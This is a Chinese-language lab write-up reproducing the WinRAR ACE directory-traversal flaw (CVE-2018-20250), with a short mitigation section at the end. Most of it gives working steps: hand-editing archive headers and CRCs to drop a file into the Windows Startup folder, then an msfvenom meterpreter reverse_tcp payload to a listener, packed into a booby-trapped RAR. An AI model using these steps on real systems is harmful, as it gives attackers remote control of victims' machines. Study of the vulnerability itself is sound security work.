【漏洞復現】WinRAR目錄穿越漏洞(CVE-2018-20250)復現


 前言

這漏洞出來幾天了,之前沒怎么關注,但是這兩天發現開始有利用這個漏洞進行挖礦和病毒傳播了,於是想動手復現一波。

WinRAR 代碼執行相關的CVE 編號如下:

CVE-2018-20250,CVE-2018-20251, CVE-2018-20252, CVE-2018-20253

這里我們復現最開始的WinRAR目錄穿越漏洞(CVE-2018-20250)。

漏洞詳情

原理:

WinRAR目錄穿越漏洞(CVE-2018-20250):

  該漏洞是由於WinRAR 所使用的一個陳舊的動態鏈接庫UNACEV2.dll所造成的,該動態鏈接庫在2006 年被編譯,沒有任何的基礎保護機制(ASLR,DEP 等)。該動態鏈接庫的作用是處理ACE 格式文件。而在解壓處理過程中存在一處目錄穿越漏洞,允許解壓過程寫入文件至開機啟動項,導致代碼執行。

影響版本:

WinRAR < 5.70 Beta 1

Bandizip < = 6.2.0.0

好壓(2345壓縮) < = 5.9.8.10907

360壓縮 < = 4.0.0.1170

漏洞利用條件:

  攻擊不能跨盤符,即受害者進行解壓文件觸發漏洞時,必須在系統盤且在不知道計算機主機名的情況下,只能在主瀏覽器的默認下載路徑下(C:\Users\Administrator\Downloads)或者桌面進行解壓,或者多猜幾個啟動項路徑。產生漏洞的DLL文件:UNACEV2.DLL,不能識別相對路徑,文件名部分必須為絕對路徑。

  以下是幾種機器的開機啟動項路徑,可以看到在個人PC上受用戶名影響,無法猜測到准確的路徑,而服務器上一般不會修改用戶名,所以這個漏洞在服務器上利用度比較高。

Win2003開機啟動項路徑:C:\Documents and Settings\Administrator\「開始」菜單\程序\啟動

Win2008開機啟動項路徑:C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

Win2012開機啟動項路徑:C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

Win7   開機啟動項路徑:C:\Users\用戶\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

Win10 開機啟動項路徑:C:\Users\用戶\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup  本次試驗使用的是Win2008,

漏洞復現

環境工具:

服務器:Win2008 R2

WinRAR 5.60簡體中文版:https://www.rarlab.com/rar/winrar-x64-560sc.exe

Python-3.7.2-amd64.exe:https://www.python.org/ftp/python/3.7.2/python-3.7.2-amd64.exe

010Editor:https://download.sweetscape.com/010EditorWin64Installer901.exe

Wace和模板文件:https://github.com/360-A-Team/CVE-2018-20250

EXP:https://github.com/WyAtu/CVE-2018-20250

漏洞復現:

這里我們寫一個bat,進行彈窗演示:

然后打開WinAce,選中我們創建的文件,右鍵,點擊Add to...

  利用WinACE進行壓縮,這里選擇store full path。

  生成之后我們利用腳本檢查一下我們生成的文件1.ace的header信息:

這里幾個是我們需要修改的參數。

 在010Edit工具中打開剛才生成的1.ace文件,將文件路徑替換為啟動項路徑如下,然后可以看到新的完整的文件路徑長度為93,轉換為16進制后為:5D。

修改完這兩個地方之后點擊保存,接着還需要修改hdr_size。

  這三個地方修改完成之后點擊保存。

  最后利用acefile.py重新查看文件header信息。修改acefile.py,在3061行處添加以下語句,輸出文件hdr_crc。

print("[+] right_hdr_crc : {} | struct {} ".format(hex(ace_crc16(buf)),struct.pack('<H', ace_crc16(buf))))
print("[*] current_hdr_crc : {} | struct {}".format(hex(hcrc),struct.pack('<H', hcrc)))

可以看到當前的hdr_crc為:16 9A,我們要把它改為E4 A3,保存之后重新查看文件header信息。

  修改完成,將文件另存為1.rar。

 選擇解壓到當前文件夾或解壓到文件夾1都可以,可以看到bat文件成功解壓到開機啟動項里。

重啟電腦查看效果。

復現成功,自動運行bat文件彈窗。

MSF利用

   首先下載EXP:

wget https://github.com/WyAtu/CVE-2018-20250/archive/master.zip

  這里我解壓/root/tools目錄下:

  然后利用msf生成一個惡意程序,放到該目錄下:

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.86.129 lport=4444 -f exe -o /root/tools/CVE-2018-20250-master/test.exe

   修改exp.py文件:

  將evil_filename改為我們生成的惡意程序。

  將py -3 改為python3,修改完成之后保存,運行以下命令:

python3 exp.py 

  成功生成攻擊文件test.rar,只要誘導用戶下載解壓這個壓縮文件呢,就可得到用戶電腦權限,這里只演示功能,我們用python簡單開啟一個http服務:

python -m SimpleHTTPServer

  切換到win2008,也就是我們要攻擊的目標機器。下載test.rar,然后直接在下載目錄解壓(也可選擇在桌面解壓)。

  可以看到在系統的啟動路徑下成功解壓出hi.exe文件。接着我們在kali上面開啟監聽,然后重啟win2008。

  成功拿到目標機器權限。

 

漏洞防御

  刪除受影響壓縮軟件目錄下UNACEV2.dll文件能有效防御。
  升級到最新版本,WinRAR 目前版本是 5.70 Beta 1。
  總而言之,該漏洞並沒有那么致命。目標性的打站,得先欺騙下載,並再在未防護的服務器上解壓,企業服務器管理員都很難會這樣做。而且必須得服務器重啟才能生效,不能直接執行腳本。

 

 

參考鏈接:

https://blog.csdn.net/qq_29910529/article/details/88069707

https://bbs.pediy.com/thread-249613.htm

https://www.cnblogs.com/backlion/p/10417985.html

https://mp.weixin.qq.com/s/qT-lL-kCDHJKCMCmeQq7Ng

http://www.hetianlab.com/expc.do?ce=7ebc7ed1-ab4b-4eba-9451-02954d9b7b00

 

 

笨鳥先飛早入林,笨人勤學早成材。

轉載請注明出處:
撰寫人:fox-yu  http://www.cnblogs.com/fox-yu/


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM